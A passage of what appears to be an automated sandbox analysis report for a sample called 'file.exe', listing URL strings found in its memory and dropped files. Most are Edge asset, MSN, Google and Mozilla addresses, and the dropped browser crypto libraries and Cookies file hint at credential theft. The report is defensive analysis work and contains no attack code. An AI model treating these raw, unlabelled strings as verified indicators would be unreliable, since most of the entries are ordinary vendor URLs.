Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_482.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_482.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_482.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_482.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: CBAFCAKEHDHDHIDHDGDH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log0.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.9.dr, 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13374639988734533.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_482.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_486.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_486.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_486.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, CBAFCAKEHDHDHIDHDGDH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, CBAFCAKEHDHDHIDHDGDH.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
